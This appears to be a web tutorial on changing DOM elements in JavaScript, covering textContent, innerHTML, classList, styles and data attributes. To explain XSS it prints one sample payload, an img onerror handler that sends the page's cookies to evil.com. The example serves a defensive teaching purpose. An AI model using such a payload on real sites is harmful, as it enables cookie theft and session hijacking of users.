Selecting elements is only half the battle. The real magic happens when you start changing them, updating text, swapping classes, toggling visibility. This is where static HTML transforms into a dynamic application. And this is also where one of the most dangerous web security vulnerabilities lives.
Changing text: textContent vs innerHTML
JavaScript gives you two ways to change what appears inside an element. One is safe. The other can get your users hacked.
textContent: the safe choice
const title = document.querySelector('h1');
title.textContent = 'Welcome Back!';
console.log(title.textContent); // "Welcome Back!"textContent treats everything as plain text. Even if you pass HTML tags, they appear as literal text on the page:
const message = document.querySelector('.message');
message.textContent = '<script>alert("hack")</script>';
// User sees the literal text: <script>alert("hack")</script>
// No script is executed - completely safeinnerHTML: powerful but dangerous
const container = document.querySelector('.content');
container.innerHTML = '<p>This is a <strong>new</strong> paragraph.</p>';innerHTML parses the string as real HTML. This is useful for building complex structures, but catastrophic if the string comes from user input:
// NEVER do this with user input
const userComment = '<img src=x onerror="document.location=\'https://evil.com/steal?\'+document.cookie">';
element.innerHTML = userComment; // XSS attack - steals cookies!This is called Cross-Site ScriptingWhat is xss?Cross-Site Scripting - an attack where malicious JavaScript is injected into a web page and runs in other users' browsers, stealing data or hijacking sessions. (XSS). An attacker submits a comment containing an <img onerror> handler. When the page renders it with innerHTML, the browser executes the attacker's JavaScript. That script can steal sessionWhat is session?A server-side record that tracks a logged-in user. The browser holds only a session ID in a cookie, and the server looks up the full data on each request. cookies, redirect the user to a phishing site, or make APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses. requests on the user's behalf. XSS is consistently in the OWASPWhat is owasp?Open Web Application Security Project - an organization that maintains a widely used list of the most critical web security risks. Top 10 most critical web security risks.
innerHTML by default for everything because it is convenient, setting text, building lists, rendering cards. When AI generates element.innerHTML = userInput, it is creating a Cross-Site Scripting (XSS) vulnerability. An attacker can inject <script> tags, <img onerror> handlers, or <a onclick> attributes that steal cookies, redirect users, or take over accounts. The fix is simple: always use textContent for user-generated content. Only use innerHTML with strings you control entirely, never with data from users, URLs, APIs, or databases. If you must render HTML from dynamic data, use a sanitization library like DOMPurify.| Property | Parses HTML? | XSS risk | Use for |
|---|---|---|---|
textContent | No | None | User-generated content, simple text |
innerHTML | Yes | Critical | Trusted HTML templates you wrote yourself |
innerText | No | None | Like textContent but respects CSS visibility |
Managing CSS classes
The classList APIWhat is api?A set of rules that lets one program talk to another, usually over the internet, by sending requests and getting responses. is the cleanest way to control styling dynamically:
const button = document.querySelector('.btn');
button.classList.add('active'); // add a class
button.classList.remove('disabled'); // remove a class
button.classList.toggle('loading'); // add if missing, remove if present
button.classList.contains('primary'); // check if class exists (boolean)
button.classList.replace('old', 'new'); // swap one class for anotherMultiple classes at once:
element.classList.add('active', 'visible', 'animated');
element.classList.remove('hidden', 'invisible');Conditional toggle:
// Add 'visible' if isLoading is true, remove if false
spinner.classList.toggle('visible', isLoading);Modifying inline styles
For dynamic values like positioning or animations, set styles directly:
const box = document.querySelector('.box');
box.style.backgroundColor = 'blue';
box.style.width = '200px';
box.style.marginTop = '10px';CSS properties use camelCase in JavaScript:
| CSS property | JavaScript property |
|---|---|
background-color | backgroundColor |
font-size | fontSize |
margin-top | marginTop |
border-radius | borderRadius |
z-index | zIndex |
style change triggers browser reflow. For multiple changes, prefer adding a CSS class instead of setting individual style properties.Working with HTML attributes
Read and modify any HTML attribute:
const link = document.querySelector('a');
const input = document.querySelector('input');
// Direct property access (common attributes)
console.log(link.href);
console.log(input.value);
input.disabled = true;
// setAttribute / getAttribute (any attribute)
element.setAttribute('data-id', '12345');
element.setAttribute('aria-label', 'User profile card');
const id = element.getAttribute('data-id');Data attributes
Data attributes (data-*) store custom information in HTML:
<button class="product-btn" data-product-id="789" data-price="29.99">
Add to Cart
</button>const button = document.querySelector('.product-btn');
button.dataset.productId; // "789"
button.dataset.price; // "29.99"
button.dataset.inStock = 'true'; // creates data-in-stock attribute| HTML attribute | JavaScript property |
|---|---|
data-product-id | dataset.productId |
data-user-name | dataset.userName |
data-max-value | dataset.maxValue |
Common modification patterns
Loading states
const submitBtn = document.querySelector('#submit');
submitBtn.disabled = true;
submitBtn.textContent = 'Loading...';
submitBtn.classList.add('loading');
// After operation completes:
submitBtn.disabled = false;
submitBtn.textContent = 'Submit';
submitBtn.classList.remove('loading');Form validation feedback
const emailInput = document.querySelector('#email');
if (!emailInput.value.includes('@')) {
emailInput.classList.add('error');
emailInput.setAttribute('aria-invalid', 'true');
} else {
emailInput.classList.remove('error');
emailInput.setAttribute('aria-invalid', 'false');
}Quick reference
| Task | Code | Safe? |
|---|---|---|
| Set text | el.textContent = 'text' | Yes |
| Set HTML | el.innerHTML = '<b>html</b>' | Only with trusted strings |
| Add class | el.classList.add('name') | Yes |
| Remove class | el.classList.remove('name') | Yes |
| Toggle class | el.classList.toggle('name') | Yes |
| Set style | el.style.color = 'red' | Yes |
| Set attribute | el.setAttribute('key', 'val') | Yes |
| Read data attr | el.dataset.keyName | Yes |
| Disable element | el.disabled = true | Yes |